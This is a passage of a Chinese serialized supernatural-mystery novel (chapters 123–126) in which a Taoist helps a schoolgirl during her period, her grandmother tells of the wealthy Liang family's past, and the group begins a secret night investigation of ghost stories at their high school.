“道长，不要这么小气嘛。”沈聆投诉。
“这可不是小气，我现在还真是缺钱来着。”吴妄拉了拉自己的外套，“这套衣服的钱，还是我欠那小子的。”
“没事，一套衣服而已，又没几个钱。”林凌大手一挥，倒是十分豪爽。
“对了，林警官，也有一件事情拜托你。”
“你说吧，沈聆，只要我能做到的，我都会尽可能帮你。”
“我想请你帮忙调查一下那三个女孩子的死因……法医那边应该有她们的尸检报告，我们看不到的东西，你作为警局内部的人员应该可以看到，如果不方便透露的细节，可以不告诉我们……只要告诉我们大概一个情况就好了。”
“好，没问题，我找个时间找法医一下，正好手头也有一些资料要跟他们拿。”
就在众人谈论之间，牛肉面端了上来。
热腾腾的牛肉面氤氲了四人的视线，宋明夷的肚子咕噜噜地叫了起来。
“啊，我好饿啊，忙了一天，我讨厌上班——”
沈聆拆了一个一次性筷子，掰开了筷子后递给了宋明夷：“不考虑辞职后专职做主播？”
“不了，全职主播太不稳定了，我担心哪天流量没了，我就下岗了，现在在医院的工作虽然辛苦，但是还有一份稳定的收入。”宋明夷接过沈聆递过来的筷子，礼貌地道谢。
想不到，看起来大大咧咧的宋明夷，倒是考虑得深远。
“我还以为你是个鼠目寸光的人。”吴妄斜眼看着宋明夷。
闻言，宋明夷没好气地瞪了他一眼：“什么鼠目寸光！我可是走一步看三步的人好吧！我从很小的时候就出来混社会了，你们是没尝过那种三天没吃饭的感觉……我可尝过，我是穷怕了，现在好不容易有了点相对稳定的收入，我才不要就这样丢掉。”
宋明夷说着，低头喝了一大口汤，热热的汤下肚的时候，倒也驱散了身周的寒意。
她乐呵呵地一笑，眼眸中的阴霾也随之一扫而空。
“好鲜啊！”
123. 难以启齿
且说吃完了牛肉面，大伙儿各回各家，开始忙活自己的事情去了，宋明夷要回去公寓继续剪辑视频，林凌而是要回到警察局继续加班。
就在沈聆和吴妄回到家的时候，外婆还没有回来。
这几天外婆说乡下的庄子有点事情，要回去两三天，让他们不用管老婆子的饭菜，因此这几天，他们倒是都吃外卖或者楼下的快餐，日子过得还算随意。
“我先去洗澡啦。”
沈聆说着，从衣柜里拿出了一套睡衣，就准备到浴室里洗漱。
忙碌了一天了，她感觉到今天好像发生了很多事情，光是应付学校里奇怪的新同桌似乎就已经筋疲力尽了，现在好不容易回家了，她就想要好好躺在床上休息一下。
“好。”
吴妄沏了一杯茶，打算开始打坐。
这似乎是他们青城山的习惯，每天晚上都要打坐冥想，似乎冥想这样的方式能够让那人清心静气，平复下杂乱的思绪，认真思考过往和未来，从而消除内心的杂念。
他点了个檀香，檀香的味道慢慢在空气中扩散。
这檀香是外婆带来的，外婆倒是很喜欢吴妄身上的道家气息，在吴妄住进来的时候给了他一个静止的檀香盒子以及外婆常年用的檀香。
清心静气。
檀香是最合适的。
吴妄一个人坐在客厅，在地上盘腿打坐着，闭上了眼睛。
而这边，在沈聆进入浴室，放了热水之后，她换下了要换洗的衣服的时候，表情却突然僵住了。
她看见在自己的裤子里面，有一抹诡异的红色。
——啊……
——特殊时期亲戚来了……
她脸红了一下，想起吴妄还在客厅里，下意识脑袋空白了一片。
她认真回想了一下，今天明明不是她的姨妈期，但是今天白天的时候，小肚子的确有一瞬而过的凉意，当时她想着日期不对，也就没有放在心上，没想到……
或许是阴厨的事情扰乱了她的心绪，让她压力太大了，导致生理期紊乱，又或者，是体内的灵元草改变了身体周天的运行周期，影响了激素的分泌……
“啊啊啊……你真的是……什么时候来不好，偏偏是现在来了。”沈聆看了一眼自己的衣服，发现刚刚换下来的脏衣服放在丢在地上，都已经湿了。
她在厕所找了一圈，但在放卫生巾的隔间里只找到姨妈巾的袋子，看来是上一次已经用完了，偏生她是寄宿生，平常并不常住在家里，不太清楚家里的情况，妈妈出事后，这些事情就没有人留意了，外婆更不会关心那些事情，她都已经绝经了，哪里会知道家里姨妈巾用完了。
咋办？
现在出去？
但是吴妄就在外面，真的是胶水糊住了嘴巴，张不开口。
“说不定我衣柜里还有，我记得上次回家的时候带了一些回来，应该还放在房间的衣柜里……”沈聆沉默着，暗暗在心里计划了一下。
她的房间在另一头，浴室在餐厅旁边，如果要从浴室到房间，那么就要路过客厅。
吴妄此刻就在客厅打坐。
但她也知道打坐这种东西，都是闭着眼睛的，只要他闭着眼睛就没关系吧？
沈聆犹豫了半晌，她下意识地看向了窗外，此刻外面天色已暗，如果关掉客厅的灯，应该是看不到什么的，今天要换洗的衣服已经湿掉了，那些衣服是没办法穿了，但好在还有一条大浴巾，如果围着浴巾出去的话，应该也勉强可以……
沈聆这么计划着，她来到了浴室门口，对着门外喊了一句。
“道长，我有东西忘记拿了，我要出去拿一下。”
未等对方说话，她忙补充了一句。
“你在那边好好打坐，不能偷看哦！”
她说完，竖起耳朵听了听，对方并没有说话，应该是默许了她的话。
“格拉……”
轻轻将浴室的门拉开了一条缝，沈聆围上了一条毛茸茸的浴巾，鬼头鬼脑地从门缝里探出了脑袋，她环视了一圈，发现吴妄正盘腿坐在客厅的地上打坐着，他闭着眼睛，旁边燃烧着檀香，他看起来一副清心寡欲的样子，正沉浸在自己冥想的世界里。
——很好！
沈聆深吸了一口气，看了一眼客厅。
——客厅电灯的开关就在走廊的地方，只要跑过去就行了。
沈聆这么想着，踮脚走出浴室，她踮着脚，每一步都走得很轻，生怕惊动到正在打坐的吴妄，她浑身沾染着水汽，披散着头发，几缕湿了的发丝贴着她的脸颊，凝结的水汽顺着脸颊落在锁骨处，最后滑入了白色的浴巾里。
赤脚踩过冰冷的地板，她小心翼翼地挪到了客厅电灯的开关旁，“啪”地一声关上了电灯。
客厅瞬间笼罩在一片黑暗中，窗外，街道那昏暗交错的灯光透过窗棂漏入客厅里，那便是唯一隐隐约约的光线，这光线略微照亮了吴妄的侧脸，他闭着眼睛、微微扬起了嘴角，表情在明暗不定的客厅里带着几分邪魅。
——今天的檀香，好像没有清心静气的效果。
他这么想着，缓缓睁开了眼睛，看见围着一个浴巾的沈聆正踮着脚、小跑着从自己前面悄悄走过去。
“……”
——这家伙是傻子吗？以为关了灯我就看不见了？
吴妄这么想着，但是并不打算拆穿沈聆。
沈聆从他身边跑了过去，跑到房间里，像是打开了衣柜倒腾了好一阵子，不知道在找什么东西，之后又从房间里出来了，他没有回过头，但是从对方的脚步声中，他多少听出了她此刻的沮丧。
“……是在找什么东西吗？”吴妄冷不防地开口了。
沈聆吓了一跳，浴巾一松，差点儿掉了下去，她忙拉住了自己的浴巾。
“你你你……”
“别担心，我什么都没看到。”
此地无银三百两！
反应过来后，沈聆的脸瞬间绯红了一片，滚烫的脸颊简直要冒出热气来。
“我我……你……你先闭着眼睛。”沈聆说着，忙小跑着钻入了浴室里，“砰”地一声关上了浴室的门，看起来就像是过街老鼠、仓皇逃窜。
吴妄听着她那“兵
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荒马乱”的动静，只觉得好笑。
“可以睁开眼了吗？”
“……可以。”
“有什么东西找不到吗？要不要我下去买？”
“……倒是有，但是你应该没买过。”沈聆咬着牙，有点儿难以启齿。
她倒是没想到自己家里所有的卫生巾都用完了，就连自己带回来的都没有了。
后悔，现在就是非常后悔。
要是自己平常多囤一些就好了，也不至于现在陷入“物资短缺”的困境。
“你跟我说说看，楼下有一家便利店，可以的话，我去那边给你买。”吴妄睁开了眼睛，看向了浴室的方向。
客厅没有开灯，但浴室开着灯。
柔和的白色灯光从浴室的毛玻璃门渗透出来，照亮了昏暗的客厅一角。
吴妄不经意间瞥向那里，只见浴室的门上竟映出一个朦胧的人影，正轻轻地左右晃动着。很明显，那位女子就站在门边，全然不知此刻这暧昧的光线已将她曼妙的身姿毫无保留地映照在了毛玻璃门上。
她那优美的脖颈线条、圆润流畅的肩线、纤细柔软的腰肢、就连浴巾下那双修长笔直的双腿也若隐若现，撩人心弦……
吴妄只觉自己的脸颊瞬间变得滚烫起来，心跳也不由自主地加快了节奏。
他不是没有抱过沈聆，也不是不知道沈聆的身形，毕竟还是一起泡过寒潭的，但是那时候心里牵挂的都是沈聆能不能醒来、她肩上的伤势如何，可现在，似乎情景有所改变，看景的人，心情也有所改变。
——美色误国啊！
他在心中暗暗叫苦，急忙转过头去，不敢再多看一眼。
吴妄想再次默念清心诀来平复内心的躁动，可不知为何，脑海里却像被塞入了一团乱麻，混乱不堪，思绪怎么都无法集中，更别提静下心来了。
他现在算是知道唐僧的定力有多强了。
“……那麻烦道长帮我下去跑一趟，我有个东西得买，楼下便利店就有。”
沈聆的声音从浴室里传来，柔柔的，带着几分羞涩。
“好……你说，我这就下去。”吴妄站起身，他想着现在下去吹吹夜风也好，清醒一下。
“额……你就跟店员说，要买姨妈巾，我要一包夜用和一包日用的，至于什么牌子的都可以。”
“姨妈巾？那是什么？是你姨妈让你买的吗？”
青城山都是男的，吴妄从小就没怎么和女孩子接触过，更不知道姨妈巾是什么东西，这东西居然还分为日用和夜用？
沈聆一跺脚：“你这个木头脑袋，让你去买就是了，你按照我说的跟店员说就行。”
“好。”
“我手机在桌上，你拿我的手机去付钱就行，我支付宝里有钱，支付密码和屏幕解锁密码是相同的，密码是我妹妹的生日，100305。”
“好。”
吴妄乖乖拿着沈聆的手机，推门出去了。
“咔哒。”
在听到房门关上的那一瞬间，沈聆松了口气。
“呼……还是开口麻烦他了。”
124. 红糖姜茶
“您好，请问您要什么？”
在吴妄来到便利店的时候，店员热情地问候。
吴妄皱起眉头，认真回想了一下沈聆交代的事情：“额……我要一个……姨妈要的什么东西，日用和夜用的，各一包。”
“哦哦，是姨妈巾吧。”店员小姐姐倒是一下子明白了过来，看着吴妄的眼神也带着几分赞许，“您真贴心呢，是帮女朋友买的吧。需要什么牌子的？”
“额，都可以，她说。”
“可以，我去帮您拿。”
店员小姐姐说着，替吴妄去柜台那边拿姨妈巾去了，留下吴妄一个人站在柜台前，若有所思地看着店外。
便利店外的夜色已经深了，小区的花园里一片黑暗，昏暗的路灯略微照亮了小区里的石板路，偶尔可以看到三三两两的行人在外面散步，他们有的是热恋中的情侣，有的是幸福的一家三口……
个人有个人的命途，每个人都按照各自的命运走着不同的生命轨迹。
他们今天晚上在小区里擦肩而过，不知道是否能再见面。
他们生活在这个平静的小区里，似乎很享受着这一刻的安稳。
在下山之前，吴妄从来没有对世俗的生活有什么特殊的想法，在青城山的时候，他也曾经见到过许多来道观上香许愿的人，但他们的脸上大多数都并不是幸福的表情，有的是家里有生了重病的人，有的是有许多难以放下的心结，他们各有所求，脸上大多被世事劳碌所困扰的疲惫。
但现在，在此地，在此时，吴妄看着从便利店外走过的那些散步的人，倒是并没有察觉到他们身上的疲惫，相反，有孩子的欢笑声，有情侣的玩闹说笑，也有和爱宠嬉戏的热闹……这些声音，听起来都让人欣然十分。
他第一次意识到，或许入世，并不是一件痛苦的事情。
世人虽然庸庸碌碌，但也有自己的幸福。
人间虽然苦，但并不完全是苦的，更是那苦中一点甜，凑成了人生中最美好的回忆。
“给，小哥哥，这是你要的，我给你用黑色的袋子装起来了。”店员小姐姐说着，将两包姨妈巾放在了黑色的袋子里。
吴妄解锁了沈聆的手机，并按照沈聆所说的找到了支付软件，用二维码付了款。
提着黑色的袋子，他正准备离去的时候，店员小姐姐顺口问了一句——
“对了，请问您需要一些红糖和姜吗？”
“红糖和姜？”吴妄脚步一顿，疑惑地看着店员小姐姐。
“对的，女孩子在这个特殊的时候喝点红糖姜水对身体好哦。”
吴妄看着店员小姐姐的笑容，陷入了沉默。
……
在沈聆洗完澡的时候，吴妄已经回来了。
他回来的时候，将那黑色的袋子挂在了浴室的门把上，沈聆稍稍拉开了浴室的门，便看到了门把上挂着的黑色塑料袋。
将塑料袋拿进卫生间，打开塑料袋，她看到了里面放着的一包日用和夜用。
“还不错啊，孺子可教。”
沈聆欣慰地看着吴妄买回来的姨妈巾，一瞬间有一种“教学成功”的成就感。
沈聆用柔软的毛巾仔细地擦拭掉身上残留的水珠，接着，她穿上了那套宽松舒适的棉质睡衣，睡衣上印着可爱的玉桂狗卡通图案，这和沈凝的睡衣是姐妹装，沈凝的睡衣是库洛米，这些是她妈妈买的，她妈妈格外喜欢给她们姐妹俩买各种可爱的东西，似乎在女儿们身上延续她的少女心。
“呼——”
沈聆拿起吹风机，轻轻地拨动着自己湿漉漉的长发，温暖的风吹过发梢，逐渐带走了湿气，待头发半干时，她放下吹风机，拿起一把梳子打理了一下乱糟糟的头发后，她擦了点身体乳在干燥的皮肤上。
随后，她将自己换洗的衣服放在了换洗筐里，心里盘算着得找个时间带吴妄到商场去多买几套衣服才行。
这么想着，她拉开了卫生间的门。
“道长，我洗好啦，如果你打坐好的话，可以准备着洗澡……”
话说到一半，她忽然嗅到一股浓浓的姜的味道。
“这是……”
那味道仿佛是从厨房袅袅飘来的，与此同时，空气中还弥散着一股红糖熬煮后甜得有些发腻的气息。
这味道徐徐地在房间里扩散开来，让本就体寒的沈聆不由自主地感受到了几分温暖。
她满心狐疑地来到客厅，转头便看见厨房亮着灯，道长正在厨房里忙碌不停。
他静静地伫立在电磁炉前，电磁炉上正煮着东西，腾腾热气笼罩着他的脸颊，他神色专注，似乎正在琢磨着什么，那严肃的模样，比他打坐的时候还要庄重几分。
而那红糖与姜水的味道，恰恰是从厨房蔓延开来的。
沈聆小心翼翼地靠近他，发现道长正用勺子搅动着放在电磁炉上的不锈钢盆，盆里的红糖水咕嘟咕嘟地冒着泡，上面还漂着几块姜呢。
对，就是几块姜，吴妄看样子不太会切姜丝，一颗姜被他去皮后切成大小各异的块状，就这么随意地丢进了红糖水里面熬煮。
在旁边的灶台上，菜刀横着放着，砧板上均是削下的生姜皮、小姜块以及半包敞开着的红糖。
沈聆愣了一下：“你这是……”
“我刚才听店员说，你现在喝点红糖姜水会比较好，抱歉，多花了一点钱。”
吴妄回过头，看见洗完澡的沈聆站在身边，她身边沐浴露的香甜气息微微染上了他的肩膀，披散着的头发末梢还带着几分水汽，脸颊红扑扑的，睫毛上沾染着水汽，吴妄看着她，心似乎在这个时候缺了一块、漏了一拍。
沈聆闻言，心下一暖，没想到吴妄居然会为自己做红糖姜水。
“那你……会做红糖姜水吗？”
“她说把红糖水熬开之后加入姜就可以了，但是我不太会搞这个，切得不是很规则……”
吴妄说着，用勺子搅动了一下锅里的姜块。
沈聆莞尔一笑。
忽然她注意到吴妄的手上有一道伤口，伤口看上去像是新伤，还在渗血。
想必是切姜的
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时候切到手了，他一直在青城山修道，又怎么会这些做菜切菜的事情呢？
吴妄见煮的差不多了，将电磁炉关掉了。
沈聆默默地拉过他被菜刀切到的左手，在吴妄还没有反应过来的时候，她启唇轻轻含住了他流血的手指。
“你……”
吴妄一愣，脸颊红了几分。
他感觉到伤口火辣辣的，不知道是因为伤口沾染到了姜汁，还是因为沈聆。
又或者……
都是。
“……好了，你等一下，我去给你拿邦迪。”沈聆说着，转身跑到房间去了，留下吴妄一个人愣愣地站在原地。
他应该是面无表情的。
但是又感觉内心有千军万马跑过去，踏平了原本草木繁盛的原野，只余下兵荒马乱。
待沈聆拿来了创可贴的时候，吴妄已经将红糖姜茶盛入小碗中，放在餐桌上了。
“有点烫，你待会儿再喝……我是第一次做，咳咳，可能不是很好吃。”
沈聆笑容更深了几分：“没关系，谢谢你哦。”
吴妄看见沈聆的笑容，不知道为什么，心里提着的一口气倒是松了几分，他原以为自己会弄得一团乱，但是现在看来，似乎还不错。
两人在餐桌旁就坐，沈聆帮吴妄的伤口贴上了创可贴。
这个创可贴很可爱，上面全都是卡通小狗的图案，这个图案似乎和吴妄的形象格格不入。
“这个东西是沈凝买的，她总是喜欢这些可可爱爱的东西，你先用着，你的伤口看着有点儿深，不要进了细菌。”
“这没什么事情，过几天就自己痊愈了。在我们青城山，修道的时候经常也会有磕着碰着的事情，最直接的，我上次跪碎瓦片，流了这么多血，你看我现在还不是活蹦乱跳的。”
“知道你身体好，但是还是要注意。”
“好好好，你放心吧。”
沈聆脸一红：“好没意思的话，我有什么不放心的。”
她说着，别开了脸，自顾自地喝起了红糖姜茶。
似乎是吴妄的姜放得有点儿多，她刚喝了一口，就被里面的姜的辣味给呛到了。
这股辣意直接冲到了她的鼻子和喉咙，呛得沈聆连着咳嗽了好几声。
吴妄拍着沈聆的后背：“不好喝吗？不然不要了，我再去弄点，可能是姜放多了……”
“咳咳……没、没事，我喝得太大口了，没关系，就是太烫了点，我吹冷一点就好了。”
“行，那你慢点喝。”
沈聆点了点头。
在她喝下红糖姜茶的时候，感觉到小肚子一阵暖意。
她记得，在从前，妈妈总是会在她姨妈期的时候给她准备红糖姜茶，因为她从小体寒，天冷更容易手脚冰凉，还以为妈妈去世后，就没有人会为自己准备红糖姜茶了，没想到，现在还能有人特地给她准备这些。
姜茶的热气氤氲了她的眼眸，深吸了一口气，感觉自己的眼眸浮上了一层雾气，而眼前吴妄的面容也模糊了几分。
125. 梁家往事
且说在大家分头行动的这几天，沈聆继续照常回去上课。
梁林的表现和她想的差不多，他简直可以说是一个全能型的学霸，不对，应该是说是学神更加贴切一点。
无论大小考试，只要是他参加的，基本上都是他第一名，并且每一次考试的时候梁林都表现得很轻松，不费吹灰之力就做完了所有题目后趴在桌上睡觉。
给人一种——他根本不需要考试、上学的感觉。
“沈聆，你的最近的学习状态不太对，我看你的成绩下滑了不少，要不要我来辅导你？”
梁林是这么对沈聆说的，但这激起了沈聆的好胜心，看着自己考到的成绩确实不如自己从前的成绩，沈聆不由得攥紧了拳头。
“别担心，这不过是一场模拟考而已，如果你需要的话，我可以帮你整理一下学习重点。”
“不用了谢谢，我自己可以把成绩提回来。”
沈聆干脆利落拒绝了梁林的好意，她讨厌梁林身上的那种“在高处俯视所有人”的优越感，这样的感觉给人一种他天生就是人上人的感觉。
她讨厌他骨子里带着的这种优越感。
“你确定吗？但是我感觉你的心好像已经不在学习上了……沈同学，如果生活中遇到什么困难也可以跟哥哥我说的。”
“什么乱七八糟的，什么时候你就是我的哥哥了？”
“我觉得我可以照顾你，我的心理年龄比你大，我可以给你一些有针对性的建议，让你的人生路更好走一点，至少，少走一点弯路。”
“闭嘴吧你，我不需要。”
“真不需要？下周有一场模拟考，你能突破瓶颈？”
“不用你管！”
于是乎，从那天放学回来，沈聆就进入了疯狂学习模式。
吃饭的时候在刷题，洗澡的时候在外放练习英语听力，回家之后就开始做练习卷……
下一周有一场模拟考，她势必要在那次模拟考“重振雌风”！
她本来是个学习能力很强的人，在学习上，从来不需要父母操心，一头扎进学习的苦海里，能做到“两耳不闻窗外事”。
在沈聆认真学习备考的时候，吴妄自然而然就变成了全职保姆。
当然，这么说似乎有点儿不太贴切，毕竟保姆是要求家务活都要尽善尽美地完成的，但这些事情在从来没有做过家务活的吴妄手里似乎弄得一团乱。
三天的时间里，他弄坏了洗衣机、烧焦了两个锅具，吃的东西大部分也是外卖。
不过还好，三天后，外婆回家了。
吴妄和沈聆像看到救星一样，终于松了口气。
“聆娃儿，我这次会回去乡下老宅，因为我们的邻居家里出了点事情，让我去帮忙做个法事。”
外婆将一袋子地瓜放在桌上的时候，在沙发上坐下，抬眼看着沈聆和吴妄。
“邻居？”
“对，他们梁家的老太爷的夫人年事已高，最近生病了，夫人的儿子就想着做点法事祈求母亲身体健康。他们的祖宅在我家旁边，我在乡里多少有点儿名气，他们就找到我了。”
“哦……”沈聆点了点头，但忽然回过神来，“等等，您是说……梁家？”
“对。”
“是陵川市的那个梁氏集团？”
“对，他们祖宅就在我们家旁边，几十年前，我和他们的老太公还是邻居呢。”外婆微微一笑，像是想起了过去的事情一样，眼眸中带着几分怀念，“那时候他们老太公还活着，比我大十几岁，刚开始他们家也很穷的，但是梁老太爷是个不认命的人，他当过搬运工、干过苦力，但他总是觉得这些不能赚钱，于是，他开始学习经商……”
“有一年秋天，他跟着车队离开了乡里，为了赚钱，他离开了家，一去就是四五年，留下妻子独守家中。就在大家都以为他就此音讯全无，没想到几年后他就发家了，听说是在港台那边赚了许多钱，最后回到了陵川市发展自己的家族产业。”
沈聆听着外婆的话，有点儿头皮发麻。
这一瞬间，她似乎想起了在她第一次唤魂后，母亲说想吃米饭，她回到医院告诉外婆这件事情的时候，外婆似乎也曾经提到过一嘴梁家。
……
【在汝汝小的时候，家里穷，没东西吃，但是隔壁那户姓梁的人家相对富裕，他们家总是有白米饭吃，在汝汝还是个小娃娃的时候，就老喜欢趴在窗户边，闻着隔壁的米香配着自家的窝窝头下饭。】
……
原来如此。
原来在几十年前，外婆的邻居，就是当前大富大贵的梁家人，只不过，最开始梁家还没有那么有钱，而是后面梁老太爷经商后才逐渐发家、改善了生活条件的。
“……”
沈聆听着外婆的话，陷入了沉思。
在改革开放初期，一切贫瘠，大部分人都是农民，在那个时候，梁老太爷就已经敢于进取，并且博上一切下海经商，最后衣锦还乡，可见他是个有商业头脑的人，并且敢拼敢干，这样的人，无论放在哪个时代都会成功的。
“他们家的老夫人情况还好吗？”
“不是很好。”外婆咳嗽了几声，“那个老姐姐，比我还大十几岁，姓萧，在那个年代，也是个民国时期的大小姐一样的人物，萧家颇有钱财，家里只有一个女儿，从小是万千宠爱在一身的，偏生看上了当时身无分文的梁家老太爷，硬是要嫁给她，无论爹娘怎么说，就是非君不嫁。”
“想不到这萧老太太当年还是个恋爱脑呢？”吴妄好奇了几分。
外婆点了点头：“是啊，用你们年轻人的话，是这样说的。梁老太爷年轻的时候长得挺俊的，在十里八乡也是拔尖的样貌，估计是看中了男人的皮囊吧，经不住花言巧语的哄骗，就动心了。没想到那老姐姐在嫁给老太爷后，反而被吃绝户了，刚开始丈夫还会装作温柔体贴，天长日久的，就摆出家主的样子来，为了博贤惠的名儿，老姐姐也不好告诉娘家，只能自己忍着委屈。”
外婆沙哑着声音，说着那些陈年往事。
那些已经被时光所掩埋的事情，随着她这一次回乡下，被再一次想起。
当时她还只是一个小姑娘，但是邻居发生的事情，她全都亲眼看在眼里。
这么多年过去了，尘归尘、土归土，过眼云烟一样消散。
“再后来，老姐姐的双亲过世、梁家经商后富起来了，梁老太
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爷就更不把自己的原配夫人放在眼里，他不知道在外面养了多少女人，生了多少私生子，几乎没怎么回家了，老姐姐也没办法，只能忍气吞声……”
“梁老太爷本就不爱她，没了娘家这个靠山之后，更不把她放在眼里，一直把她放在乡下老宅里，没有把她接到新宅，老姐姐就这么守着一个老宅子和大儿子，过着自己的日子。”
“听说这几十年来，梁老太爷对她并不好，动辄打骂，愈演愈烈，好不容易前几年熬到梁老太爷死了，还以为可以过上一些舒心的日子，没想到这老姐姐身体情况越来越差，眼瞅着是不好了。”
吃绝户。
意思就是独生女嫁人之后，被男方吞掉了所有的家产，最后一无所有，如同男人的附庸品一样活着。
想到这里，沈聆不由得打了个冷颤。
外婆简简单单的几句话，交代了萧老太太悲惨的一生。
在那个年代，女性一旦选错丈夫，几乎就要赔上自己的一辈子。
他们并不喜欢“和离”，而是认为忍让是女人的美德，作为一个妻子，就应该遵守三从四德，在家里相夫教子，她忍气吞声地委屈了一辈子，却在丈夫死后没有过上几年好日子就重病缠身。
也是一个可怜人。
“这些都是老一辈的事情了，在那个时候，许多人的一辈子就这么潦草地过完了，哪有什么婚姻自由，嫁人，不过是一场博弈，赌赢了，就是安稳一生，赌输了，就凄凉收场，大家都是赌徒罢了……”讲到这里，外婆话锋一顿，她看向了沈聆，“对了，你们不是要找人鱼镜吗？”
一听这三个字，沈聆和吴妄同时认真了起来。
“对，外婆您有什么线索吗?”
“我这次回去乡里，见到了一些上门拜访老姐姐的人……老姐姐的大儿子，也就是当前梁家的话事人，梁周，他从小看着他爹打骂他娘，知道他娘这几年过得很不容易，因此格外很孝顺他娘亲，这次娘亲病重，他亲自回到老家照顾他娘，还找了很多厉害的医学专家给他娘看病。也有很多和梁家交好的人上门慰问，其中，就有你们陵川一中的老校长，马远。”
“马校长？那好像是很多年前的校长了吧？我们学校现在已经是简校长了。”
“那都没什么要紧的，要紧的是马校长虽然退休了，但是仍旧能说得上话。我已经跟马校长说好了，我有几个娃娃想到陵川一中找个东西，作为交换，可以帮他解决一些学校里麻烦的事情。”
“麻烦？他有什么麻烦的？他不是都退休了吗？”
“马校长的孙子，现在也在你们陵川一中上学，叫……马伯良，好像在高二年段。”外婆话锋一转。
“那又如何？”
“我听说，前几周，有一个叫做刘悦的女孩子失踪了。”
“对，是404寝室失踪的那个女生。”
“嗯，那个叫刘悦的女娃娃，听说是马伯良的女朋友，在刘悦失踪之前，这两个早恋的娃娃还交往了一段时间。马校长说，他孙子，最近被一个女鬼缠上了，那个女鬼，似乎就叫刘悦。只要你们能调查清楚这件事情，帮他孙子摆脱女鬼纠缠，他就能帮你们进入学校，调查你们要调查的事情。”
126. 夜访学校
“我最近搜集了很多关于陵川一中的恐怖故事，其中呢，排名前三的，一个是舞蹈室的跳舞女鬼，一个是13级台阶的传闻，还有一个就是教室里的四人游戏。这三个恐怖故事在论坛、贴吧和公共聊天群里的热度是最高的，也是被最多学生口口相传的。”
做足了充分准备的宋明夷像一个导游一样走在队伍的最前面，她举手指了指面前的陵川一中，仿佛带领着旅游团内的其他客人来到了这个景点。
只不过。
这个“景点”，在夜晚看来是个闹鬼的地方。
沈聆的外婆跟陵川一中的前任校长说好了，只要马校长能帮这几个孩子进入陵川一中调查灵异事件，这几个孩子就帮他的孩子摆脱女鬼的纠缠。
马校长虽然现在已经退休了，但他毕竟当了陵川一中几十年的校长，影响力和人脉都在，跟教务处和安保处说一声，还是能让他们进校的。
只不过……
“我们这次进学校调查是有条件的。”沈聆轻声说，“第一，不允许携带任何拍摄的设备进行录像或者拍照，因为担心这件事情泄露出去会影响校方的形象和造成不好的社会影响，本次我们的调查全程保密，并且如果被发现了，就只说我们是从宿舍里跑出来溜达的学生。”
随后，沈聆伸出手，比了个“二”的手势。
“第二，我们这次调查遇到的任何事情校方都不负责，简单的说，我们要为自己的安全负责，如果在调查期间遇到任何危险，比如第二天发现我们失踪了，或者我们其中某个人的尸体的话，校方也不为这件事情负责，因为在明面上，他们是不知道这件事情的，所有的调查属于是我们的……‘擅自行动’。”
“第三，如果我们这次查出了任何现代科学可以解释的事情之外的原因，不允许有任何泄露，只能上报给校领导，让校领导自行处置。”
沈聆停下脚步，此刻，他们正站在陵川一中的校门前。
时间已经显示接近午夜十二点了，除了沈聆和宋明夷外，吴妄和林凌也来了。
吴妄是本身就没有什么事情做，加上找到人鱼镜是他调查吴家村惨案的必然步骤，因此，他必须事事亲力亲为，防止出现任何差错。
而林凌则是因为手头上的事情暂时处理完了，干尸坑的人员信息调查已经下派到各个派出所，此外，新隆公寓的面包店案子暂时陷入了调查僵局，他想着与其困顿在同一个死胡同里，倒不如走出来从另外的角度下手调查。
——至少，跟着沈聆他们，似乎总是会发现新的调查角度，而这些调查到的新线索似乎又与之前的事情有着千丝万缕的关系。虽然说办案不能听从牛鬼蛇神，但是如果真的能用一些特殊但形式有效的方法为死者伸冤，就林凌个人认为，并不是完全不可取。
只不过，他们并没有跟校领导说这次来学校调查的人里面有警察，都只是说是沈聆的朋友而已，因为大家擅长的领域不尽相同，但都是一个团队的，配合起来会相对默契，马校长就没有再继续追问，毕竟这些隐秘的事情，各路都有能人，也不是一家之言能说得尽的。
“所以……我们这次的调查，是全部保密的，并且如果出事，也不会有任何人负责，甚至……校方可能都无法第一时间报警、报救护车，全程可能只有一个保安跟我们带路。”
沈聆说着，回头看了一眼陵川一中。
在这无尽黑暗笼罩下的陵川一中，仿佛被一层神秘而诡异的面纱所遮掩，校园内的每一处角落都弥漫着令人毛骨悚然的气息。
那一栋栋孤零零的教学楼宛如沉睡中的巨兽，静静地伫立在深沉的夜色之中，它们洁白的墙壁在月光的映照下泛出丝丝寒光，给人一种彻骨的冰冷和阴森之感。
突然，一阵夜风呼啸而过，如泣如诉地穿梭于校园之间。
道路两旁的树木随之疯狂舞动起来，那黑色的树影犹如鬼魅一般在地面上摇曳不定，时而拉长，时而缩短，变幻莫测。
而那些教学楼里一扇扇黑色的窗户，则更增添了几分诡异的氛围，透过窗户望去，隐约能感觉到有一双双眼睛正躲在黑暗处窥视着外面的世界，然而当你定睛细看想要捕捉到这些目光时，它们却又如幽灵般瞬间消失得无影无踪。
此时的夜晚校园，已然不再是白天那个充满欢声笑语、生机勃勃的地方，它好似一座荒芜的墓地，寂静无声，只有风声和树叶沙沙作响的声音交织在一起，演奏着一曲恐怖的乐章。曾经熙攘热闹的景象早已荡然无存，取而代之的是一片让人不寒而栗的阴森与冰冷。
整个校园沉浸在这片死寂的氛围之中，仿佛时间都已凝固。
宋明夷不由得打了个冷颤。
“有一说一，小聆聆，你们学校还真诡异，今天有这么冷吗？我怎么感觉咱们一路走来，越是靠近你们学校的方向，就越冷……”
她打了个喷嚏，不由得拢了拢自己的外套。
“而且不知道是不是我的错觉，总感觉这里好像不止我们几个人……”
宋明夷说着，小心翼翼地回头看了看，像是有什么可怕的东西躲在暗处看着她。
“可能是因为这里的磁场比较特殊吧……”吴妄看着黑漆漆的大楼，他的视线穿过校园的栏杆看向学校里的步道，那蜿蜒的小道上影影绰绰，似乎有奇怪的人影一闪而过，他不由得眯起了眼睛，“这个学校还真是有点儿东西。”
人，也有与生俱来的磁场。
跟候鸟一样，人的磁场能够感应方向、地理位置，甚至是人体本能的状态。
只不过，人的感知能力不像动物这么强，只能隐隐约约感觉到身体的生理性不适，比如某一时刻感觉有人在看着自己，比如，在独处的时候感觉周围并不只有自己一个人……这些都是特殊磁场影响了人体本身的磁场，而这些本能的感觉一般都是真的，这是人体的自我保护机制，是一种危险性的警告。
说明
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，这个地方有危险。
人会本能地产生想要逃走的念头，以克服、减少这种不适的感觉。
而现在，他们四个多多少少都有感觉到这种感觉。
这夜色里的学校，似乎到处都有恐怖的东西在等着他们。
“不要疑神疑鬼了，我们都还没有进去呢，你这样怕是要自己吓死自己。”
沈聆还没有说完的时候，忽然，她身后传来了一阵诡异的“沙沙”声，像是什么东西压低了声音在靠近。
